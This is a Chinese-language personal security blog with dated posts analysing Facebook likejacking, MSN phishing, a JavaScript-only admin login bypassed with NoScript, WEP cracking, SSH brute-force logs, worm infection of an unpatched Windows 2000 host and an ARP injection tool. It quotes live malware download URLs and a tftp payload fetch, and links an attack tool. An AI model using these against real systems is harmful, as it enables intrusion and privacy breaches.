2011-05-19 Facebook Like hijacking with Blogspot

今天 （2011-05-19） 在Facebook上面出現了一種新的惡意分享連結，


由於連結網址是位於Google的Blogspot.com 上面的，很容易讓人失去戒心點擊下去！一旦點了連結後會連到下面這個頁面



基本上看到這畫面只要是之前有關注過FB惡意分享連結的朋友應該都很眼熟，也不會再去點任何的按鈕或選項了。（但是這次當你看到這頁面時已經來不及了！）
此次情況更加惡劣，就算不做任何動作，只要Facebook處於登入狀態，也會自動觸發數個 like 的行為！





大致追了一下過程(沒有很仔細去分析原始碼)

當連到標的網址後可以看到他在該blogspot的blog頁面head的部份就插入了REFRESH 
（好奇發問：這在Blogspot是合法的嗎？怎麼做的？）(經過實際測試，Blogspot真的可以這樣幹！)

接下來跳轉到第二個Blogspot上的blog網址同樣的在head的部份就塞了個外部的Javascript
（好奇再發問：這在Blogspot是也是合法的嗎？怎麼做的？）(經過實際測試，Blogspot也真的可以這樣幹！)

然後在頁面底下塞了7個長寬為0的iframe

http://offeradvertising.biz/gwjs.php?pub=122005&gateid=MTg3NjA2
（這隻JS我懶得去解去追了，留待有興趣的高手們慢慢研究吧）

接著是那7個iframe對 doubledd.info 的 request，內容都是POST到 http://www.facebook.com/ajax/connect/external_node_connect.php?__a=1 的Form

再來一個眼熟的iframe


從經過編碼的Javascript基本上就可以判斷有問題了！

接下來就是對兩個blogspot網址跟五個Facebook粉絲頁觸發Facebook Like的動作。

The Hottest & Funniest Golf Course Video - LOL
Get a Free Meal hurry!
I Love my Mom  專頁url http://www.facebook.com/pages/I-Love-my-Mom/200225093354009
Happy-Club  專頁url http://www.facebook.com/pages/Happy-Club/183772875005110
I Love Music  專頁url http://www.facebook.com/pages/I-Love-Music/146573855415349
I-Love-my-Family  專頁url http://www.facebook.com/pages/I-Love-my-Family/149990811738505
I-Love-Money  專頁url http://www.facebook.com/pages/I-Love-Money/228827590465565

最後就是用Facebook的Like發布塗鴉牆行為進行病毒式散布～
所以可以在極短的時間內取得最大戰果。



就算是Facebook跟WOT合作來對抗惡意連結，也很難在第一時間擋下！
等Facebook或是Blogspot發現處裡時已經來不及了。

這次的情況比較特殊的是利用了Google的Blogspot來作為散布的中轉媒介而且搭配的如此天衣無縫，而且自動觸發按讚的動作，很容易讓人中計！

看來日後的自保之道唯有不要輕易去點Facebook上別人按讚後所貼出的連結才是。

如果很不幸的點過了這個惡意分享連結，那最好盡快到Facebook個人檔案頁面中把這幾條按讚的分享訊息刪掉，以免更多朋友受害。
如下圖：



至於這惡意連結到底是怎麼做的，更進一步細節如何？就有待專業的資安高手來解答了！

2011-05-20 
update 1:
經過實際測試，Blogspot真的可以在head內塞meta http-equiv="REFRESH" 跟加載外部 JavaScript，不需要什麼高深的hack，我還真是lag+孤陋寡聞；看來以後遇到Blogspot的url也不能輕易信任隨便亂點了。
update 2:
目前Facebook已經把相關連結的like分享貼文都移除了，不過根本性的問題還是存在。透過Facebook按讚貼文進行的病毒式散布速度在被相關單位發現處裡之前就可以輕易打下幾十萬的Facebook User~ 這次連讚都自動按下去進行發布了，不知道下一次又會變出什麼樣的把戲。

2011-04-13 不管再怎麼拙劣的MSN釣魚網頁，還是有人會被騙

今晚打開一個許久未登入的MSN帳號，馬上就收到一條由好幾年沒聊過的聯絡人發來的離線訊息：
http://msn。wertmyloveblog。com
^^來看看我的寫真集喔^^^^
=========
(請千萬不要傻傻的連過去還輸入帳號密碼)
因為現在透過MSN詐騙早就不是新聞了，看到這個訊息馬上就覺得有問題。


在做了可能的防範後就連到該網址瞧瞧
(後來證明我是多心了，沒有木馬沒有惡意程式碼，完全就是個簡陋的釣魚頁面)

哇咧，長得還真像！可是 左上方的 title 居然是 Untitled Document XDD

看一下原始碼

這頁面是把輸入的帳號密碼資料post到 msn.wertmyloveblog.com/cn/add.asp 去


然後response回來就是一段Javascript把頁面跳到一個空的404.html去

用工具查一下該站點的相關資訊，主機是放在美國


查一下該domain的whois http://whois.domaintools.com/wertmyloveblog.com


從Domain Whois中的QQ號 4 0 2 5 5 8 8 8 3 一看

這傢伙絲毫不隱藏真是夠囂張的了。
而且用相關資料(QQ號/電話)一搜才發現它早就是累犯了！

老實說這手法非常非常拙劣，可是就是會有人中招。
(起碼發過來的那個聯絡人就中標了)
裝再強的防火牆再棒的防毒軟體還是沒用的，像這種自己把MSN帳號交出去的怨不得別人！
這年頭騙子太多 傻子明顯不夠用了～
千萬不要看到登入頁面就乖乖的輸入帳號密碼，多想幾秒鐘，你可以不用害朋友被詐騙！

延伸閱讀：
Google搜尋相關問題-網上釣魚攻擊
维基百科 - 釣魚式攻擊
資安之我見 (What I see): MSN-Phishing on Christmas Eve

2010-05-15 原來GOOGLE SPIDER是個好駭客

在上週末(2010-05-09)曝光的網站漏洞
2010-05-09 取得個人資料何需Foxy. 一個爛網站就能讓你脫光光
今天看了下,居然在頁面上寫著
由於本網站受駭客入侵, 為免網友受進一步波及, 現緊急關閉本網站,並探究有效預防措施, 確認問題解決後再行開放, 做成網友不便及權益受損, 在此謹致上最大歉意!


看到這裡我又暈了,原來GOOGLE SPIDER也算駭客啊.看來還是搞不清楚問題在哪裡?

上一篇中我已經很客氣的把網站URL/名稱都蓋掉不直接SHOW出來,結果並沒有讓管理者/開發者有任何反省...

到現在(2010-05-15)事件曝光已經整整六天了,那些個資現在依然保留在GOOGLE上面.用特定關鍵字 依舊可以搜出那些會員的姓名生日電話地址..
在上一篇最前面都寫上了..
如果發現自己的個資被GOOGLE抓到了,請參閱 如何移除Google搜尋結果中「危害隱私」的 Cache暫存資料？

連怎麼移除掉已外洩被GOOGLE抓到的資料方法都說了,還不去處裡?
相比之下去年戰國策所發生的事件處裡上還稍微好一點點,起碼曝光之後沒多久就請GOOGLE把那些CACHE給處裡掉了.

該網站的系統開發商(XX數位科技 )還搞不清楚問題在哪嗎?

既然如此就直接挑明說吧,在該開發商網站上列出的相關客戶網站CASE幾乎都有一模一樣的問題
也就是進入管理後台(/mag/ )的權限都是交由JAVASCRIPT來進行判斷.這樣的如果還搞不清楚怎麼補洞的話...那只能好自為之了.

管理者/開發者不去檢討這些資料為什麼會被GOOGLE SPIDER給爬出來,難道把問題都推給駭客就沒事了嗎?
照這個邏輯下來,GOOGLE就是世界上最厲害的駭客了.

2010-05-09 取得個人資料何需Foxy. 一個爛網站就能讓你脫光光

2010-05-09 22:20 補充在前面
建議大家可以設定 Google 快訊來追蹤自己的一些個人隱私資料(姓名/身分證號/電話/地址/信用卡號......等等)是否有被暴露在網路上.
雖然Google 快訊只能做到事後通知,但起碼會比什麼都不知道來的強. 早點發現可以早點處理...
如果發現自己的個資被GOOGLE抓到了,請參閱 如何移除Google搜尋結果中「危害隱私」的Cache暫存資料？

2010-05-15 補充:
被GOOGLE CACHE住的個資依舊還在... 原來GOOGLE SPIDER是個好駭客
唉......
==============================================================================
今天看到一則新聞

用foxy盜個資 網購盜刷百萬元

刷爆近百人信用卡
警方調查，嫌疑人黃廉恩（27歲，有竊盜、詐欺等前科），擔任資訊業某公司遊戲管理員，涉嫌自97年6月起，利用下載foxy資源分享軟體，網路搜尋信用卡持有人，盜走存放電腦裡個人資料，取得信用卡號及檢核碼。

一時手癢用嫌疑人名字上GOOGLE搜了一下
結果又發現一個後台管理系統被GOOGLE給爬進去了 XD


既然知道該管理後台的URL,就可以用 site: 參數來鎖定目標向GOOGLE大神查詢
啊咧,又是兩千多筆啊


隨便按一筆進去,結果跳出一個Javascript的alert 無權限，請重新登入

可是如果用NoScript這個FireFox的Plug-In來把Javascript檔掉,就可以一覽無遺了




而且不光是看個資,整個後台任何操作都通行無阻

這網站管理後台雖然在最前面有做帳號密碼登入,
但是後面所有判斷完全交由前端的JavaScript來處裡,
因為他所謂的權限系統判定,只是在ASP產出的頁面前面插上這段
< language="JAVASCRIPT">
alert("無權限，請重新登入")
history.go(-1);
< / script >
不過不管是該出來還不該出來的其他資料全都老老實實的SHOW在底下..
這樣的網站管理後台也算是個極品了.

從GOOGLE CACHE頁面的紀錄來看,這些紀錄起碼存在GOOGLE上面超過20天了.


再來看看加入這個網站的會員條款


註冊會員時，必須確實填寫基本資料，告知真實姓名、電子郵件地址與相關資料等。

所有由會員提供的個人資料，均視為機密，在未經會員同意前，XXXX網站保證絕不將個人資料，洩露給XXXX網站以外之第三者。

囧rz... 以後你還敢隨便在網上確實填寫個人資料嗎???

相關網站資料因為程式缺陷或是管理疏失而被搜尋引擎抓出來外洩的案例已經夠多了,老實說也不差這一個啦!!

所以說要取得個人資料何需Foxy. 一個爛網站就能讓你脫光光

P.S. 一些較為敏感且與新聞中嫌疑犯無關的個人資料在截圖上已先模糊處裡了,但是有概念的人隨便一搜還是搜的出來,那些都是完全被曝露在網路上的公開資料

最後再低調補一刀 XD
直接把管理者原密碼噴到前端來~超帥氣的啦!!!

2009-07-05 無線WEP加密法有多虛弱?

無線WEP加密法有多虛弱? 答案是~~非常弱~~

之前就有看過資料知道無線網路的WEP加密是可以破解的,不過一直沒去驗證到底有多好破解.

這次趁著新住處的ADSL還沒牽好之前的周末因為沒網路在家很無聊,就來實際嘗試操作一下看看WEP到底有多好破解.

上GOOGLE稍微做了下功課之後很快的就選擇了一個較多網路資源的軟體(軟體名稱在這就不公開,因為實在是太簡單易用了,不過隨便搜都搜的到就是了)
而且這玩意在Ubuntu上面已有被納入到官方APT中,只要使用的無線網卡有支援無需自行編譯直接用APT裝上就能用,大大的降低了門檻.

很幸運的我有張USB的無線網卡有支援,直接拿來就能用,
首先讓無線網卡進入 promiscuous mode 來監聽蒐集封包.
以下就把過程截圖紀錄下來 (敏感資訊已經加上薄碼了)

先看下我周圍有哪些AP


聽了一陣子之後選擇要鎖定的目標AP,基本上以訊號強度夠,而且擷取到的有效封包夠多為首要考量,依據這個原則我先挑選第三個AP來做實驗,它是採用WEP加密的AP,而且在監聽的過程中持續有被使用的封包被抓到


再來就是鎖定這個AP的MAC來蒐集可供破解的封包,這是個比較花時間的過程,必須視該AP的被使用狀況來決定需要多少時間,我這邊是在花了大約四個小時蒐集到五千多個可用封包後成功的


把蒐集到的五千多個封包用程式去計算出WEP KEY


很幸運的就這麼給算出來了,用我的Celeron 1.8的NoteBook也只花了5秒


整個過程中比較花時間的是搜集可供計算比對的封包的過程,如果是在使用率高的AP上的話這個時間基本上可以縮短.
(其實還有比較機車的玩法是去主動送出連線封包,不過因為有點太暴力所以就不試了XD)

由這實例可以知道WEP果然是非常貧弱的加密法,根據該軟體的文件WPA/WPA2基本上也是可以被它破解出來的.

這次的實驗只是為了證明WEP加密有多麼的貧弱.
個人對於WEP加密法並沒有太深入的研究,具體是怎麼處裡也不甚了解,只是很單純的抓現成的程式稍微看一下說明文件後直接拿來用就成功破解了,連我這外行人都能輕易搞定,正在使用無線網路的你還敢掉以輕心嗎?

或許有些人的想法是我家裡的AP讓別人用又沒差,只要不要佔用過多的頻寬影響到我正常上網就好了,基本上這是非常沒有sense的說法,一但你的AP被閒雜人等利用了,他就可以把你的IP當作一個出口的跳板來幹壞事(EX:發恐嚇信給馬囧/小英 or anyone,盜用他人網路銀行帳號,上傳色情圖片到討論區...etc. 可以幹的壞事族繁不及備载[然後就等著被宰]),等到出事以後警察根據來源IP追查到你家時,你可是有理說不清的啊.

所以看到這裡趕緊檢查下自己的無線AP吧,如果你的AP只要WEP加密,建議馬上改成WPA/WPA2,同時在AP上設定可存取的MAC Address清單限制會稍微(注意...只是稍微)安全一些,當然直接插網路線不要用無線會更好一些.

因為無線網路的整個訊號是對外無限制散射的,所以在安全性上面是有他先天的缺陷的. 這篇主要著重在WEP有多麼容易被破解,沒有牽涉太多技術性的深入探討,只是作一個網路安全概念性的描述. 對這方面有興趣的朋友可以上網搜尋到更多相關有用的資料,在此就不多作贅述了.

2009-04-18 SSH入侵嘗試密碼蒐集

在去年 (2008-05-30) 做過一次 SSH入侵嘗試所使用的密碼蒐集記錄 之後,
本週(2009-04-10~2009-04-18)又做了一次針對SSHD (TCP/22)的暴力入侵嘗試帳號/密碼蒐集.
從 2009-04-10 到 2009-04-18 總共蒐集到 10,538 次的入侵帳密嘗試
依據來源IP/次數統計,共有36個IP,排序如下

ip	次數	國家/地區
59.179.244.5	2257	印度
211.44.250.235	1420	韓國
58.62.125.162	1365	中國廣東省廣州市
122.117.101.25	893	臺灣 中華電信
202.125.47.222	848	澳大利亞
82.87.10.24	713	西班牙
61.152.169.68	669	中國上海市
60.220.248.57	610	中國山西省長治市
59.124.0.194	482	臺灣 中華電信
200.49.156.246	343	巴西
203.110.208.68	223	印度
204.15.194.76	118	美國
193.194.81.53	109	阿爾及利亞
222.218.156.41	107	廣西北海市
218.1.118.69	57	中國上海市
221.194.128.66	41	中國河北省廊坊市
211.75.183.115	37	臺灣 中華電信
59.144.1.23	33	印度
78.143.45.2	31	德國
211.138.191.50	25	中國安徽省
210.18.127.227	21	印度
220.229.57.152	16	臺灣 新世紀資通
61.191.57.32	15	中國安徽省合肥市
218.22.67.123	15	中國安徽省蕪湖市
61.147.115.147	15	中國江蘇省揚州市
61.150.111.198	15	中國陝西省安康市
59.125.137.41	10	臺灣 中華電信
218.36.124.138	10	韓國
124.128.93.118	9	中國山東省濟南市
218.56.61.114	9	中國山東省濟南市
89.212.76.111	6	斯洛文尼亞
211.100.17.87	6	北京市
58.196.29.33	5	中國 教育網
88.169.116.244	2	法國
41.241.234.245	2	南非
61.175.196.182	1	中國浙江省杭州市

依據使用的帳號/次數統計,這10,538 次的帳號密碼嘗試總共用了2,834個帳號,
以下是超過40次的帳號排序

ID	次數
root	2558
test	183
admin	131
user	93
guest	90
oracle	75
tester	73
testing	65
mysql	54
ftp	51
administrator	49
postfix	45
adm	41

依據使用的密碼/次數統計,共嘗試了5,339個密碼
以下是超過40次的密碼排序

PWD	次數
123456	441
password	365
test	193
12345	171
1234	166
123	160
test123	152
passwd	138
1	82
1234567	54
admin	46

而從中發現到幾個比較特別含有特殊字元的密碼有
!@#$%^&*()
#no6412temp
%5%7%4%5%1%4%8%7
&thecentercannothold&
';lkjhgfdsa
+#SGU9&rbf-#

基本上從這邊導出的結論跟去年差不多

以下是簡單歸納出的幾個已知規則
a.一般常見英文名/系統預設服務名/單辭
b.單一/重複數字 (ex: 1,2222 , 33333333)
c.順序數字 or 帳號+順序數字 (ex: 123 , 1234 , 987654321, root123)
d.順序符號 (ex: !@#$% , !@#$%^&*() , )(*&^%$#@! )
e.鍵盤順序字母(ex: qwerty , asdfgh , 1qaz2wsx3edc4rfv , 3edc4rfv5tgb)
f.簡單文字符號代換(ex: r@@t , p@ssw0rd )

針對sshd安全建議:

1.可能的話把port改掉,不要用default的TCP/22
2.不要允許root登入(PermitRootLogin no)
3.若情況允許,使用AllowUsers來設定允許SSH登入帳號的正面表列
4.直接關掉PasswordAuthentication,改用authentication key驗證

完整的時間/ID/PWD/IP紀錄已放在GOOGLE DOC上,請自行參閱 http://spreadsheets.google.com/pub?key=pj62VKrg9JNMO9SbmF2eIRA
如果在那裡面能蒐到所使用的密碼,建議立即更換.


2009-04-19 update: 後續持續蒐集,發現到 59.179.244.5 這個印度IP持續在做帳號密碼嘗試的動作,截至 2009-04-19 18:54:17 為止, 59.179.244.5 總共TRY了13509次,完整LOG http://spreadsheets.google.com/pub?key=pj62VKrg9JNNTcj_DnPbAdw 而且頻率並不固定,同時有出現帳密互換後來TRY的情況,推測不像一般是WORM之類的在自動跑而是有人為介入的在嘗試; 這邊特別把這IP用過的ID/PWD字典整理排序出來 http://spreadsheets.google.com/pub?key=pj62VKrg9JNNJaaATx94HUA

2009-04-16 沒有任何防護的Windows 2000掛上網路能撐多久?

前兩天吃飽撐著時有個想法,弄台沒有任何防護(無防毒/防火牆)也沒update的Windows 2000 (SP4)直接掛上Internet,看它能撐多久.
測試日期為2009-04-13~2009-04-14 , 拿我一個閒置很久的IP來掛上.
多次測試的結果是..頂多撐10分鐘.
過程中只要發現有中標後就將測試環境整個還原後重新測試. 每次都在10分鐘之內淪陷.

這裡有用wireshark錄到的三次worm成功打進來的cap檔,可以從中看出所使用的手法,也有紀錄到打進來以後指定下載的惡意檔案位置.

從實測看來,目前Internet上四處流竄的worm主要是針對去年底MS08-067的漏洞針對 TCP:445來進行滲透感染.
成功後通知下載指定的惡意檔案.
其中有發現到的有三隻,分別是
http://83.111.115.55:4243/yxwhmqfu (4/16再次測試時還在)

這隻是 WORM/Conficker.AC ThreadExpert的報告& Virustotal的報告

http://59.125.12.124:33220/x (4/16再次測試時此連結已失效)

這隻是 Worm/Autorun.fla.1 ThreadExpert的報告& Virustotal的報告

tftp 59.147.183.11 ssms.exe (4/16再次測試已失效)

這隻是 WORM/SdBo.167936.56 (當時手滑沒留檔..不過從cap將封包資料重組匯出後小紅傘報的是這個)

另外還有一隻 http://doiluc.com/demo.exe 在當時就404了


等上述的檔案下完以後就自行感染並成為宿主向外狂掃/打 tcp:445
當然這試驗有點過分的刻意了,任何防護都沒有就掛上internet是挺蠢的一件事..

其實Windows 2000只要勤快點把update追到最新,原則上可以稍微抵擋一下這些四處流竄的worm攻勢(起碼不至於被秒殺).

目前看到的 頻率是大概10分鐘就會被不特定來源的worm搞一次;

看來最大的問題是這世界啥都可能會缺.可是就不缺懶人,難怪永遠都會有一堆的肉雞.

ARP 掛馬的作業模式觀察

這是拿網上隨手搜到的ARP掛馬工具測試

環境說明

VM HOST 192.168.1.2 (Windows2003) VMware Server 1.08

VMNAT 192.168.200.0/24 HOST GW 192.168.200.2
VMNAT Port Forward Host Port 80 => 192.168.200.100:80

VM WEB 192.168.200.100 tcp:80 (Debian Apache2)
MacAddress 00:0c:29:a7:a3:c6

VMARPATTACK 192.168.200.128(DHCP) (Windows 2003)
MacAddress 00:0c:29:4d:a8:bd


正常情況,在此環境內連結http://192.168.1.2/ 會經由VMNAT轉至VM內的 192.168.200.100:80
顯示結果如下 Wireshark紀錄 http://www.swm.idv.tw/20090310_A.pcap


在那台VMARPATTACK 192.168.200.128上面執行ARP掛馬工具 (當然這台肉雞上是沒有任何防護的)
測試工具下載位置 http://soft1.hackdos.com/soft/2008713arp.rar
(這種工具不需要特意去找,GOOGLE一挖就有一堆的..取得上一點難度也沒有)
不過那些被放出來的東西裡面通常都藏了些有的沒的,沒事的話不建議隨便以身試法..XD


其中設定插入代碼給一個便於識別的 1.1.1.1/mm.js (當然目前這個是不存在的)
執行以後安裝,從Wireshark上面就可以看到這個ARP spoofing開始運作了
Wireshark紀錄 http://www.swm.idv.tw/20090310_B_ARP.pcap


此時再去看 http://192.168.1.2/
Wireshark 紀錄 http://www.swm.idv.tw/20090310_C_ARP.pcap


由title來看可以確定已經成功被掛馬了
IE得到的網頁原始檔

Wireshark針對VMNET的封包擷取過程
連線建立時就有抓到重複的封包
而在第六個封包發出GET 時,目的地MacAddress 00:0c:29:4d:a8:bd
已經是 VMARPATTACK 192.168.200.128(DHCP) (Windows 2003) 偽裝成 192.168.200.100了




第10個封包,是VM WEB正常吐回的respond,但是目的地MacAddress 00:0c:29:4d:a8:bd 卻是 VMARPATTACK 192.168.200.128




然後在第12個封包才由MacAddress 00:0c:29:4d:a8:bd VMARPATTACK 192.168.200.128
將插入過的html返回

因為測試的環境是在內部NAT做port轉發,所以可能跟實況會有誤差.

不過理論上如果拿到外網環境應該也是可以通的,

這種攻擊模式的現成程式很多,每一款實作上可能也有些許差異,不過基本概念都是類似的.
等於是從同網段gateway/router之前攔截了http的封包硬插代碼後再送出.

這代表了什麼?代表我不需要實際去入侵每一台機器,

只要在IDC機房內同網段內抓出一台給他搞一下,
其他同網段沒有作ARP綁定防護的WEB SERVER就都會被插惡意代碼了..
管你是APACHE還是IIS..通通都會有..XD

而且被插的網站就算把整個網站程式碼翻到爛也找不到哪裡被插..

恐怖嗎?.....

相關閱讀:去年(2008)聖誕節時的舊文 MSN SHELL 所在SERVER遭ARP掛馬??

另外這模式初步看起來似乎跟

大規模網頁綁架轉址：威脅未解除，但專家都猜錯了:
&
破解新型態大規模網頁轉址攻擊

裡面提到的封包偽造特徵有點類似..看來也是從中間攔截封包硬插..不過目前手邊缺乏實例進行比對..不知道此特徵與此次的網頁轉址攻擊有無關聯

2009-03-10 19:25 Update: 再看了下並且經過交叉比對後發現似乎又跟這次的大規模網頁轉址有些不同,用這種掛馬工具出了gateway後並不會有兩個重複封包,而是直接修改封包後發出.
看來與這次的大規模轉址事件在實作方式上有些許不同,而且arp掛馬侷限性較高,若是從某個骨幹節點直接攔截造假封包送出,影響更為嚴重.

2009-03-13 update:
另外附上2008-12-24發現MSN SHELL 所在SERVER遭ARP掛馬??時用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.